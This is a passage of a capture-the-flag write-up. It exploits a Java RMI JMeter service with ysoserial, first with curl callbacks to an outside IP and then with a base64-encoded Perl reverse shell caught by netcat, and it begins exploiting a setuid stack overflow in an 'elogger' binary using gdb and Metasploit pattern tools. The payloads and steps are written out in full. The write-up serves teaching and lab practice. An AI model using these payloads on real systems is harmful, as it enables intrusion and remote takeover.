file:/usr/src/apache-jmeter-3.3/lib/log4j-slf4j-impl-2.8.2.jar file:/usr/src/apache-jmeter-3.3/lib/mail-1.5.0-b01.jar file:/usr/src/apache-jmeter-3.3/lib/mongo-java-driver-2.11.3.jar file:/usr/src/apache-jmeter-3.3/lib/oro-2.0.8.jar file:/usr/src/apache-jmeter-3.3/lib/ph-commons-8.6.6.jar file:/usr/src/apache-jmeter-3.3/lib/ph-css-5.0.4.jar file:/usr/src/apache-jmeter-3.3/lib/rhino-1.7.7.1.jar file:/usr/src/apache-jmeter-3.3/lib/rsyntaxtextarea-2.6.1.jar file:/usr/src/apache-jmeter-3.3/lib/serializer-2.7.2.jar file:/usr/src/apache-jmeter-3.3/lib/slf4j-api-1.7.25.jar file:/usr/src/apache-jmeter-3.3/lib/slf4j-ext-1.7.25.jar file:/usr/src/apache-jmeter-3.3/lib/tika-core-1.16.jar file:/usr/src/apache-jmeter-3.3/lib/tika-parsers-1.16.jar file:/usr/src/apache-jmeter-3.3/lib/xalan-2.7.2.jar file:/usr/src/apache-jmeter-3.3/lib/xercesImpl-2.11.0.jar file:/usr/src/apache-jmeter-3.3/lib/xml-apis-1.4.01.jar file:/usr/src/apache-jmeter-3.3/lib/xmlgraphics-commons-2.2.jar file:/usr/src/apache-jmeter-3.3/lib/xmlpull-1.1.3.1.jar file:/usr/src/apache-jmeter-3.3/lib/xpp3_min-1.1.4c.jar file:/usr/src/apache-jmeter-3.3/lib/xstream-1.4.10.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_components.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_core.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_ftp.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_functions.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_http.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_java.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_jdbc.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_jms.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_junit.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_ldap.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_mail.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_mongodb.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_native.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_tcp.jar file:/usr/src/apache-jmeter-3.3/lib/junit/test.jar
    Class 2
      Classname: java.lang.reflect.Proxy
      String annotations: 1
        Annotation: file:/usr/src/apache-jmeter-3.3/lib/accessors-smart-1.2.jar file:/usr/src/apache-jmeter-3.3/lib/asm-5.2.jar file:/usr/src/apache-jmeter-3.3/lib/bsf-2.4.0.jar file:/usr/src/apache-jmeter-3.3/lib/bsh-2.0b5.jar file:/usr/src/apache-jmeter-3.3/lib/bshclient.jar file:/usr/src/apache-jmeter-3.3/lib/caffeine-2.5.5.jar file:/usr/src/apache-jmeter-3.3/lib/commons-codec-1.10.jar file:/usr/src/apache-jmeter-3.3/lib/commons-collections-3.2.2.jar file:/usr/src/apache-jmeter-3.3/lib/commons-dbcp2-2.1.1.jar file:/usr/src/apache-jmeter-3.3/lib/commons-io-2.5.jar file:/usr/src/apache-jmeter-3.3/lib/commons-jexl-2.1.1.jar file:/usr/src/apache-jmeter-3.3/lib/commons-jexl3-3.1.jar file:/usr/src/apache-jmeter-3.3/lib/commons-lang3-3.6.jar file:/usr/src/apache-jmeter-3.3/lib/commons-math3-3.6.1.jar file:/usr/src/apache-jmeter-3.3/lib/commons-net-3.6.jar file:/usr/src/apache-jmeter-3.3/lib/commons-pool2-2.4.2.jar file:/usr/src/apache-jmeter-3.3/lib/dec-0.1.2.jar file:/usr/src/apache-jmeter-3.3/lib/dnsjava-2.1.8.jar file:/usr/src/apache-jmeter-3.3/lib/freemarker-2.3.23.jar file:/usr/src/apache-jmeter-3.3/lib/geronimo-jms_1.1_spec-1.1.1.jar file:/usr/src/apache-jmeter-3.3/lib/groovy-all-2.4.12.jar file:/usr/src/apache-jmeter-3.3/lib/hamcrest-core-1.3.jar file:/usr/src/apache-jmeter-3.3/lib/hamcrest-date-2.0.4.jar file:/usr/src/apache-jmeter-3.3/lib/httpasyncclient-4.1.3.jar file:/usr/src/apache-jmeter-3.3/lib/httpclient-4.5.3.jar file:/usr/src/apache-jmeter-3.3/lib/httpcore-4.4.7.jar file:/usr/src/apache-jmeter-3.3/lib/httpcore-nio-4.4.7.jar file:/usr/src/apache-jmeter-3.3/lib/httpmime-4.5.3.jar file:/usr/src/apache-jmeter-3.3/lib/jcharts-0.7.5.jar file:/usr/src/apache-jmeter-3.3/lib/jcl-over-slf4j-1.7.25.jar file:/usr/src/apache-jmeter-3.3/lib/jodd-core-3.8.6.jar file:/usr/src/apache-jmeter-3.3/lib/jodd-lagarto-3.8.6.jar file:/usr/src/apache-jmeter-3.3/lib/jodd-log-3.8.6.jar file:/usr/src/apache-jmeter-3.3/lib/jodd-props-3.8.6.jar file:/usr/src/apache-jmeter-3.3/lib/jorphan.jar file:/usr/src/apache-jmeter-3.3/lib/json-path-2.4.0.jar file:/usr/src/apache-jmeter-3.3/lib/json-smart-2.3.jar file:/usr/src/apache-jmeter-3.3/lib/jsoup-1.10.3.jar file:/usr/src/apache-jmeter-3.3/lib/jtidy-r938.jar file:/usr/src/apache-jmeter-3.3/lib/junit-4.12.jar file:/usr/src/apache-jmeter-3.3/lib/log4j-1.2-api-2.8.2.jar file:/usr/src/apache-jmeter-3.3/lib/log4j-api-2.8.2.jar file:/usr/src/apache-jmeter-3.3/lib/log4j-core-2.8.2.jar file:/usr/src/apache-jmeter-3.3/lib/log4j-slf4j-impl-2.8.2.jar file:/usr/src/apache-jmeter-3.3/lib/mail-1.5.0-b01.jar file:/usr/src/apache-jmeter-3.3/lib/mongo-java-driver-2.11.3.jar file:/usr/src/apache-jmeter-3.3/lib/oro-2.0.8.jar file:/usr/src/apache-jmeter-3.3/lib/ph-commons-8.6.6.jar file:/usr/src/apache-jmeter-3.3/lib/ph-css-5.0.4.jar file:/usr/src/apache-jmeter-3.3/lib/rhino-1.7.7.1.jar file:/usr/src/apache-jmeter-3.3/lib/rsyntaxtextarea-2.6.1.jar file:/usr/src/apache-jmeter-3.3/lib/serializer-2.7.2.jar file:/usr/src/apache-jmeter-3.3/lib/slf4j-api-1.7.25.jar file:/usr/src/apache-jmeter-3.3/lib/slf4j-ext-1.7.25.jar file:/usr/src/apache-jmeter-3.3/lib/tika-core-1.16.jar file:/usr/src/apache-jmeter-3.3/lib/tika-parsers-1.16.jar file:/usr/src/apache-jmeter-3.3/lib/xalan-2.7.2.jar file:/usr/src/apache-jmeter-3.3/lib/xercesImpl-2.11.0.jar file:/usr/src/apache-jmeter-3.3/lib/xml-apis-1.4.01.jar file:/usr/src/apache-jmeter-3.3/lib/xmlgraphics-commons-2.2.jar file:/usr/src/apache-jmeter-3.3/lib/xmlpull-1.1.3.1.jar file:/usr/src/apache-jmeter-3.3/lib/xpp3_min-1.1.4c.jar file:/usr/src/apache-jmeter-3.3/lib/xstream-1.4.10.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_components.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_core.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_ftp.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_functions.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_http.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_java.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_jdbc.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_jms.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_junit.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_ldap.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_mail.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_mongodb.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_native.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_tcp.jar file:/usr/src/apache-jmeter-3.3/lib/junit/test.jar
    Class 3
      Classname: org.apache.jmeter.engine.RemoteJMeterEngine
      String annotations: 1
        Annotation: file:/usr/src/apache-jmeter-3.3/lib/accessors-smart-1.2.jar file:/usr/src/apache-jmeter-3.3/lib/asm-5.2.jar file:/usr/src/apache-jmeter-3.3/lib/bsf-2.4.0.jar file:/usr/src/apache-jmeter-3.3/lib/bsh-2.0b5.jar file:/usr/src/apache-jmeter-3.3/lib/bshclient.jar file:/usr/src/apache-jmeter-3.3/lib/caffeine-2.5.5.jar file:/usr/src/apache-jmeter-3.3/lib/commons-codec-1.10.jar file:/usr/src/apache-jmeter-3.3/lib/commons-collections-3.2.2.jar file:/usr/src/apache-jmeter-3.3/lib/commons-dbcp2-2.1.1.jar file:/usr/src/apache-jmeter-3.3/lib/commons-io-2.5.jar file:/usr/src/apache-jmeter-3.3/lib/commons-jexl-2.1.1.jar file:/usr/src/apache-jmeter-3.3/lib/commons-jexl3-3.1.jar file:/usr/src/apache-jmeter-3.3/lib/commons-lang3-3.6.jar file:/usr/src/apache-jmeter-3.3/lib/commons-math3-3.6.1.jar file:/usr/src/apache-jmeter-3.3/lib/commons-net-3.6.jar file:/usr/src/apache-jmeter-3.3/lib/commons-pool2-2.4.2.jar file:/usr/src/apache-jmeter-3.3/lib/dec-0.1.2.jar file:/usr/src/apache-jmeter-3.3/lib/dnsjava-2.1.8.jar file:/usr/src/apache-jmeter-3.3/lib/freemarker-2.3.23.jar file:/usr/src/apache-jmeter-3.3/lib/geronimo-jms_1.1_spec-1.1.1.jar file:/usr/src/apache-jmeter-3.3/lib/groovy-all-2.4.12.jar file:/usr/src/apache-jmeter-3.3/lib/hamcrest-core-1.3.jar file:/usr/src/apache-jmeter-3.3/lib/hamcrest-date-2.0.4.jar file:/usr/src/apache-jmeter-3.3/lib/httpasyncclient-4.1.3.jar file:/usr/src/apache-jmeter-3.3/lib/httpclient-4.5.3.jar file:/usr/src/apache-jmeter-3.3/lib/httpcore-4.4.7.jar file:/usr/src/apache-jmeter-3.3/lib/httpcore-nio-4.4.7.jar file:/usr/src/apache-jmeter-3.3/lib/httpmime-4.5.3.jar file:/usr/src/apache-jmeter-3.3/lib/jcharts-0.7.5.jar file:/usr/src/apache-jmeter-3.3/lib/jcl-over-slf4j-1.7.25.jar file:/usr/src/apache-jmeter-3.3/lib/jodd-core-3.8.6.jar file:/usr/src/apache-jmeter-3.3/lib/jodd-lagarto-3.8.6.jar file:/usr/src/apache-jmeter-3.3/lib/jodd-log-3.8.6.jar file:/usr/src/apache-jmeter-3.3/lib/jodd-props-3.8.6.jar file:/usr/src/apache-jmeter-3.3/lib/jorphan.jar file:/usr/src/apache-jmeter-3.3/lib/json-path-2.4.0.jar file:/usr/src/apache-jmeter-3.3/lib/json-smart-2.3.jar file:/usr/src/apache-jmeter-3.3/lib/jsoup-1.10.3.jar file:/usr/src/apache-jmeter-3.3/lib/jtidy-r938.jar file:/usr/src/apache-jmeter-3.3/lib/junit-4.12.jar file:/usr/src/apache-jmeter-3.3/lib/log4j-1.2-api-2.8.2.jar file:/usr/src/apache-jmeter-3.3/lib/log4j-api-2.8.2.jar file:/usr/src/apache-jmeter-3.3/lib/log4j-core-2.8.2.jar file:/usr/src/apache-jmeter-3.3/lib/log4j-slf4j-impl-2.8.2.jar file:/usr/src/apache-jmeter-3.3/lib/mail-1.5.0-b01.jar file:/usr/src/apache-jmeter-3.3/lib/mongo-java-driver-2.11.3.jar file:/usr/src/apache-jmeter-3.3/lib/oro-2.0.8.jar file:/usr/src/apache-jmeter-3.3/lib/ph-commons-8.6.6.jar file:/usr/src/apache-jmeter-3.3/lib/ph-css-5.0.4.jar file:/usr/src/apache-jmeter-3.3/lib/rhino-1.7.7.1.jar file:/usr/src/apache-jmeter-3.3/lib/rsyntaxtextarea-2.6.1.jar file:/usr/src/apache-jmeter-3.3/lib/serializer-2.7.2.jar file:/usr/src/apache-jmeter-3.3/lib/slf4j-api-1.7.25.jar file:/usr/src/apache-jmeter-3.3/lib/slf4j-ext-1.7.25.jar file:/usr/src/apache-jmeter-3.3/lib/tika-core-1.16.jar file:/usr/src/apache-jmeter-3.3/lib/tika-parsers-1.16.jar file:/usr/src/apache-jmeter-3.3/lib/xalan-2.7.2.jar file:/usr/src/apache-jmeter-3.3/lib/xercesImpl-2.11.0.jar file:/usr/src/apache-jmeter-3.3/lib/xml-apis-1.4.01.jar file:/usr/src/apache-jmeter-3.3/lib/xmlgraphics-commons-2.2.jar file:/usr/src/apache-jmeter-3.3/lib/xmlpull-1.1.3.1.jar file:/usr/src/apache-jmeter-3.3/lib/xpp3_min-1.1.4c.jar file:/usr/src/apache-jmeter-3.3/lib/xstream-1.4.10.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_components.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_core.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_ftp.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_functions.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_http.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_java.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_jdbc.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_jms.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_junit.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_ldap.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_mail.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_mongodb.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_native.jar file:/usr/src/apache-jmeter-3.3/lib/ext/ApacheJMeter_tcp.jar file:/usr/src/apache-jmeter-3.3/lib/junit/test.jar

1 potential attacks identified (+++ = more reliable)
[---] Java RMI registry illegal bind deserialization

1 deserialization gadgets found on leaked CLASSPATH
[+] Mozilla Rhino 1.7r6, 1.7r7, and 1.7.7.1

Successfully scanned 1 target(s) for objects exposed via RMI.

The tool output tells us that a “JMeterEngine” service is running on 10.0.4.33:45293. The output also provides us with the list of JARs that are used by the service which is useful to know when attempting to exploit Java serialization issues. Java RMI is a form of RPC that accepts untrusted serialized Java objects from the network in order to allow remote method invocation, which is terrible idea if the target service uses any class that contains a useful serialization gadget.

We know that that target service uses the Apache Common Collections library (commons-collections-3.2.2.jar), so let’s use ysoserial to try to exploit the service using the CommonsCollections3 payload. Note that the payload we are using would force the target server to make a HTTP request to our attacking service on port 8000. If we receive a HTTP request then we know we were successful.

$ java -cp a.jar ysoserial.exploit.RMIRegistryExploit 10.0.4.33 1099 CommonsCollections3 "curl http://52.32.7.126:8000/rmi_hello"
java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InstantiateTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
	at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183)
	at org.apache.commons.collections.functors.InstantiateTransformer.readObject(InstantiateTransformer.java:146)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
...

Well that didn’t work because it appears that the target service is using a newer version of the Apache Common Collections library that has disabled support for the org.apache.commons.collections.functors.InstantiateTransformer class. Let’s move onto other public payloads. We know that target service also uses BeanShell (/usr/src/apache-jmeter-3.3/lib/bsh-2.0b5.jar), so let’s try that payload.

$ java -cp a.jar ysoserial.exploit.RMIRegistryExploit 10.0.4.33 1099 BeanShell1 "curl http://52.32.7.126:8000/rmi_hello"
java.rmi.ServerException: RemoteException occurred in server thread; nested exception is:
	java.rmi.AccessException: Registry.Registry.bind disallowed; origin /10.0.4.11 is non-local host
	at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:421)
	at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:272)
	at sun.rmi.transport.Transport$1.run(Transport.java:200)
	at sun.rmi.transport.Transport$1.run(Transport.java:197)
	at java.security.AccessController.doPrivileged(Native Method)
	at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
	at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:568)
	at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:826)
	at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:683)
	at java.security.AccessController.doPrivileged(Native Method)
	at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:682)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
	at java.lang.Thread.run(Thread.java:745)
	at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:283)
	at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:260)
	at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:375)
	at sun.rmi.registry.RegistryImpl_Stub.bind(RegistryImpl_Stub.java:68)
	at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:77)
	at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:71)
	at ysoserial.secmgr.ExecCheckingSecurityManager.callWrapped(ExecCheckingSecurityManager.java:72)
	at ysoserial.exploit.RMIRegistryExploit.exploit(RMIRegistryExploit.java:71)
	at ysoserial.exploit.RMIRegistryExploit.main(RMIRegistryExploit.java:65)
Caused by: java.rmi.AccessException: Registry.Registry.bind disallowed; origin /10.0.4.11 is non-local host
	at sun.rmi.registry.RegistryImpl.checkAccess(RegistryImpl.java:287)
	at sun.rmi.registry.RegistryImpl.bind(RegistryImpl.java:179)
	at sun.rmi.registry.RegistryImpl_Skel.dispatch(Unknown Source)
	at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:411)
	at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:272)
	at sun.rmi.transport.Transport$1.run(Transport.java:200)
	at sun.rmi.transport.Transport$1.run(Transport.java:197)
	at java.security.AccessController.doPrivileged(Native Method)
	at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
	at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:568)
	at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:826)
	at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:683)
	at java.security.AccessController.doPrivileged(Native Method)
	at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:682)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
	at java.lang.Thread.run(Thread.java:745)

Nice, we got a hit in our web service logs so we were successful at forcing the target service to run an arbitrary OS command.

206.189.71.7 - - "GET /rmi_hello HTTP/1.1" 404 -

From your attacking machine, execute the following command to catch a shell from the final box.

# nc -lvp 80

Now from the leet box we will execute ysoserial with a payload that cause the target service on the final box to setup a reverse shell. Make sure to update the payload with the proper IP address and port for your attacking machine. @Jackson_T has a good payload encoder here that is useful when targeting Java services.

$ java -cp a.jar ysoserial.exploit.RMIRegistryExploit 10.0.4.33 1099 BeanShell1 "bash -c {echo,cGVybCAtZSAndXNlIFNvY2tldDskaT0iNTIuMzIuNy4xMjYiOyRwPTgwO3NvY2tldChTLFBGX0lORVQsU09DS19TVFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTtpZihjb25uZWN0KFMsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpKXtvcGVuKFNURElOLCI+JlMiKTtvcGVuKFNURE9VVCwiPiZTIik7b3BlbihTVERFUlIsIj4mUyIpO2V4ZWMoIi9iaW4vc2ggLWkiKTt9Oyc=}|{base64,-d}|{bash,-i}"
java.rmi.ServerException: RemoteException occurred in server thread; nested exception is:
	java.rmi.AccessException: Registry.Registry.bind disallowed; origin /10.0.4.11 is non-local host
	at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:421)
...

Ok great we now have foothold on the final box, let’s grab the foothold flag.

listening on [any] 80 ...
206.189.71.7: inverse host lookup failed: Unknown host
connect to [172.31.33.192] from (UNKNOWN) [206.189.71.7] 33258
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=4243(bob) gid=4243(bob) groups=4243(bob)
$ cd /home/bob
$ ls
foothold.txt
$ cat foothold.txt
Aaaaaalm0stTh3r3

Final - Root

While looking around for useful files for privilege escalation I noticed an interesting setuid binary named elogger.

$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/elogger
/usr/bin/sudo
/bin/umount
/bin/su
/bin/ping6
/bin/ping
/bin/mount

The elogger command supports reading from the /var/log/elog file and writing to the /var/log/elog file, which an unprivileged user doesn’t have access to on this system.

$ elogger
usage: elogger [-r] [-w logmessage] [-h]

We can play around with the command to see how it works.

$ elogger -r
# HoWf4rD0esT3hR@bbitH0leG0?
$ elogger -w hello
$ elogger -r
# HoWf4rD0esT3hR@bbitH0leG0?
hello

At this point I moved the binary to my own server to investigate further. We can cause the program to crash by providing an overly long string with the write argument.

$ ./elogger -w `python -c 'print "A"*2000'`
Segmentation fault

Let’s use gdb to inspect the crash.

$ gdb elogger
...
(gdb) r -w `python -c 'print "A"*2000'`
Starting program: /tmp/junk/s/elogger -w `python -c 'print "A"*2000'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info registers
eax            0x0  0
ecx            0x15 21
edx            0x80e02d8  135135960
ebx            0x41414141 1094795585
esp            0xffffcdf0 0xffffcdf0
ebp            0x41414141 0x41414141
esi            0xffffce40 -12736
edi            0x80481e8  134513128
eip            0x41414141 0x41414141
eflags         0x10286  [ PF SF IF RF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99
(gdb) x/40x $esp-20
0xffffcddc: 0x080e02e0  0x41414141  0x41414141  0x41414141
0xffffcdec: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffcdfc: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffce0c: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffce1c: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffce2c: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffce3c: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffce4c: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffce5c: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffce6c: 0x41414141  0x41414141  0x41414141  0x41414141

Looks like a standard stack overflow vulnerability in which we can control the instruction pointer. We need to verify if there are any memory corruption mitigation techniques that might hinder exploitation so let’s run checksec against the binary.

$ ./checksec -f elogger
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols   FORTIFY Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX disabled   No PIE          No RPATH   No RUNPATH   2180 Symbols     Yes  3   43  elogger

Ok great, no ASLR and no NX. Metasploit comes with a convenient script to help us find the offset needed to overwrite the saved instruction pointer. First run the pattern_create.rb script to generate the pattern string.

$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1024
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B

Next run the elogger command using gdb and provide the generated pattern string as the write argument. Make note of the eip register at the point when the program crashes.

$ gdb elogger
(gdb) r -w Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B
